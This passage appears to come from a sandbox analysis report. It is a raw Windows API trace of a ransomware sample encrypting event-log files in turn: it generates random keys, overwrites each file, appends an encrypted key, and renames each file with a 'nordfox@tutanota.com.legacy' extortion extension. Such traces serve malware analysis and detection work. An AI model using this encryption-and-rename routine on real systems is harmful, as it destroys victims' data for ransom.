hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584250*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584250*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0089.178] WriteFile (in: hFile=0x460, lpBuffer=0x584250*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584250*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0089.178] WriteFile (in: hFile=0x460, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0089.178] CloseHandle (hObject=0x460) returned 1 [0089.181] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584250 | out: hHeap=0x520000) returned 1 [0089.181] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0089.181] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0089.185] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ba90 | out: hHeap=0x520000) returned 1 [0089.185] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0089.185] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0089.185] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0089.185] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584880 [0089.185] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0089.185] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584880 | out: pbBuffer=0x584880) returned 1 [0089.185] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0089.185] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0089.186] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0089.186] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x582160 [0089.186] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0089.186] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0089.186] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2166784) returned 1 [0089.186] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x211000) returned 0x312f020 [0089.192] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x211000) returned 0x335b020 [0089.204] ReadFile (in: hFile=0x460, lpBuffer=0x312f020, nNumberOfBytesToRead=0x211000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312f020*, lpNumberOfBytesRead=0x2e1f9bc*=0x211000, lpOverlapped=0x0) returned 1 [0089.333] SetFilePointer (in: hFile=0x460, lDistanceToMove=-2166784, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0089.333] WriteFile (in: hFile=0x460, lpBuffer=0x335b020*, nNumberOfBytesToWrite=0x211000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x335b020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x211000, lpOverlapped=0x0) returned 1 [0089.364] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x312f020 | out: hHeap=0x520000) returned 1 [0089.374] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x335b020 | out: hHeap=0x520000) returned 1 [0089.385] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x211000 [0089.385] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0089.385] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0089.386] WriteFile (in: hFile=0x460, lpBuffer=0x584880*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584880*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0089.386] WriteFile (in: hFile=0x460, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0089.386] CloseHandle (hObject=0x460) returned 1 [0089.453] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584880 | out: hHeap=0x520000) returned 1 [0089.454] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0089.454] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0089.474] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582160 | out: hHeap=0x520000) returned 1 [0089.474] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0089.474] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0089.474] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0089.474] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584250 [0089.474] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0089.474] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584250 | out: pbBuffer=0x584250) returned 1 [0089.474] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0089.475] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0089.475] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0089.475] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55ade8 [0089.475] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0089.475] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0089.475] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0089.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0089.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0089.476] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0089.487] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0089.487] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0089.487] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0089.489] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0089.491] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0089.491] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0089.491] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584250*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584250*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0089.493] WriteFile (in: hFile=0x460, lpBuffer=0x584250*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584250*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0089.493] WriteFile (in: hFile=0x460, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0089.493] CloseHandle (hObject=0x460) returned 1 [0089.496] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584250 | out: hHeap=0x520000) returned 1 [0089.496] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0089.496] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0089.498] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ade8 | out: hHeap=0x520000) returned 1 [0089.498] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0089.499] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0089.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567490 [0089.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584040 [0089.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0089.499] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584040 | out: pbBuffer=0x584040) returned 1 [0089.499] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0089.499] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0089.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0089.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55ba90 [0089.499] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0089.500] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0089.500] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1118208) returned 1 [0089.500] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x111000) returned 0x3126020 [0089.503] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x111000) returned 0x324a020 [0089.507] ReadFile (in: hFile=0x460, lpBuffer=0x3126020, nNumberOfBytesToRead=0x111000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3126020*, lpNumberOfBytesRead=0x2e1f9bc*=0x111000, lpOverlapped=0x0) returned 1 [0089.591] SetFilePointer (in: hFile=0x460, lDistanceToMove=-1118208, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0089.592] WriteFile (in: hFile=0x460, lpBuffer=0x324a020*, nNumberOfBytesToWrite=0x111000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x324a020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x111000, lpOverlapped=0x0) returned 1 [0089.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3126020 | out: hHeap=0x520000) returned 1 [0089.606] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x324a020 | out: hHeap=0x520000) returned 1 [0089.610] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x111000 [0089.611] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0089.611] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584040*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584040*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0089.611] WriteFile (in: hFile=0x460, lpBuffer=0x584040*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0089.611] WriteFile (in: hFile=0x460, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0089.612] CloseHandle (hObject=0x460) returned 1 [0089.642] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584040 | out: hHeap=0x520000) returned 1 [0089.642] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0089.642] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0089.644] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ba90 | out: hHeap=0x520000) returned 1 [0089.644] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567490 | out: hHeap=0x520000) returned 1 [0089.644] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5673a0 | out: hHeap=0x520000) returned 1 [0089.644] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567418 [0089.644] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584460 [0089.644] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0089.644] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584460 | out: pbBuffer=0x584460) returned 1 [0089.644] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0089.644] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx", dwFileAttributes=0x80) returned 1 [0089.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5677d8 [0089.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e238 [0089.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5677d8 | out: hHeap=0x520000) returned 1 [0089.645] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0089.646] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0089.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0089.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0089.646] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0089.666] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0089.666] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0089.666] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0089.668] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0089.670] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0089.670] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0089.670] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0089.672] WriteFile (in: hFile=0x460, lpBuffer=0x584460*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584460*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0089.672] WriteFile (in: hFile=0x460, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0089.672] CloseHandle (hObject=0x460) returned 1 [0089.676] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584460 | out: hHeap=0x520000) returned 1 [0089.676] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0089.676] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0089.681] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e238 | out: hHeap=0x520000) returned 1 [0089.681] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567418 | out: hHeap=0x520000) returned 1 [0089.681] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553500 | out: hHeap=0x520000) returned 1 [0089.681] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5676e8 [0089.681] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x583f38 [0089.681] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0089.682] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x583f38 | out: pbBuffer=0x583f38) returned 1 [0089.682] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0089.682] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx", dwFileAttributes=0x80) returned 1 [0089.682] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5679b8 [0089.682] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e558 [0089.682] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5679b8 | out: hHeap=0x520000) returned 1 [0089.682] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0089.683] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0089.683] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0089.683] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0089.683] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0089.698] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0089.698] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0089.699] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0089.699] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0089.700] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0089.700] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0089.700] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x583f38*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x583f38*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0089.702] WriteFile (in: hFile=0x460, lpBuffer=0x583f38*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x583f38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0089.702] WriteFile (in: hFile=0x460, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0089.703] CloseHandle (hObject=0x460) returned 1 [0089.706] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583f38 | out: hHeap=0x520000) returned 1 [0089.706] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0089.706] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0089.708] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e558 | out: hHeap=0x520000) returned 1 [0089.708] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5676e8 | out: hHeap=0x520000) returned 1 [0089.708] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0089.708] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0089.708] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584778 [0089.708] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0089.708] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584778 | out: pbBuffer=0x584778) returned 1 [0089.708] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0089.708] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", dwFileAttributes=0x80) returned 1 [0089.709] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0089.709] RtlAllocateHeap (HeapHandle=0x520000, 